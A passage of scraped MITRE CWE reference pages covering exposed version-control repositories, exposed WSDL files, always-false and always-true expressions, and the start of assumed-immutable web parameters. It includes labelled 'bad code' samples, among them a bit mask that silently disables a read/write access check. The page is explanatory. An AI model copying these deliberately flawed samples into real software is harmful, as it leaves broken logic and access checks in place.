2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Description, Name, References, Relationships, Type
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11System Information Leak
2009-12-28Information Leak of System Data
2020-02-24Exposure of System Data to an Unauthorized Control Sphere

CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere

Weakness ID: 527
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.
+ Extended Description
Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
OperationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

+ Potential Mitigations

Phases: Operation; Distribution; System Configuration

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak Through CVS Repository
2020-02-24Exposure of CVS Repository to an Unauthorized Control Sphere

CWE-651: Exposure of WSDL File Containing Sensitive Information

Weakness ID: 651
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).
+ Extended Description

An information exposure may occur if any of the following apply:

  • The WSDL file is accessible to a wider audience than intended.
  • The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
  • Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.538Insertion of Sensitive Information into Externally-Accessible File or Directory
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

The attacker may find sensitive information located in the WSDL file.
+ Demonstrative Examples

Example 1

The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

+ Potential Mitigations

Phase: Architecture and Design

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

Phase: Architecture and Design

Strategy: Separation of Privilege

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

Phase: Architecture and Design

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.966SFP Secondary Cluster: Other Exposures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-09-27CWE Content TeamMITRE
updated Description, Name
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Observed_Examples
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Information Leak through WSDL File
2020-02-24Information Exposure Through WSDL File

CWE-570: Expression is Always False

Weakness ID: 570
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains an expression that will always evaluate to false.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.561Dead Code
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.569Expression Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Demonstrative Examples

Example 1

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

(bad code)
Example Language: Java 

public void updateUserAccountOrder(String productNumber, String accountNumber) {
boolean isValidProduct = false;
boolean isValidAccount = false;

if (validProductNumber(productNumber)) {
isValidProduct = true;
updateInventory(productNumber);
}
else {
return;
}

if (validAccountNumber(accountNumber)) {
isValidProduct = true;
updateAccount(accountNumber, productNumber);
}

if (isValidProduct && isValidAccount) {
updateAccountOrder(accountNumber, productNumber);
}
}

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

(good code)
 
...
if (validAccountNumber(accountNumber)) {
isValidAccount = true;
updateAccount(accountNumber, productNumber);
}
...

Example 2

In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.

(bad code)
Example Language:
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000

unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */

// using "&", mask = 00000000
// using "|", mask = 00010001

// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
// if the userMask has read and write bits set
// then return 1 (true)
if (userMask & mask) {
return 1;
}

// otherwise return 0 (false)
return 0;
}

However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

Example 3

In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

(bad code)
Example Language:
int updateInventory(char* productNumber, int numberOfItems) {
int initCount = getProductCount(productNumber);

int updatedCount = initCount + numberOfItems;

int updated = updateProductCount(updatedCount);

// if statement for debugging purposes only
if (1 == 0) {

char productName[128];
productName = getProductName(productNumber);

printf("product %s initially has %d items in inventory \n", productName, initCount);
printf("adding %d items to inventory for %s \n", numberOfItems, productName);

if (updated == 0) {
printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
}

else {
printf("Inventory not updated for product: %s \n", productName);
}
}

return updated;
}

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

+ Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1307CISQ Quality Measures - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMSC00-CCompile cleanly at high warning levels
Software Fault PatternsSFP1Glitch in computation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Other_Notes, Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-571: Expression is Always True

Weakness ID: 571
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains an expression that will always evaluate to true.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.561Dead Code
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.569Expression Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Demonstrative Examples

Example 1

In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

(bad code)
Example Language: Java 

public void updateInventory(String productNumber) {
boolean isProductAvailable = false;
boolean isDelayed = false;

if (productInStore(productNumber)) {
isProductAvailable = true;
updateInStoreDatabase(productNumber);
}
else if (productInWarehouse(productNumber)) {
isProductAvailable = true;
updateInWarehouseDatabase(productNumber);
}
else {
isProductAvailable = true;
}

if ( isProductAvailable ) {
updateProductDatabase(productNumber);
}
else if ( isDelayed ) {

/* Warn customer about delay before order processing */
...
}
}

However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

+ Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1307CISQ Quality Measures - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMSC00-CCompile cleanly at high warning levels
Software Fault PatternsSFP1Glitch in computation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID: 472
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.
+ Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

+ Alternate Terms
Assumed-Immutable Parameter Tampering
+ Relationships
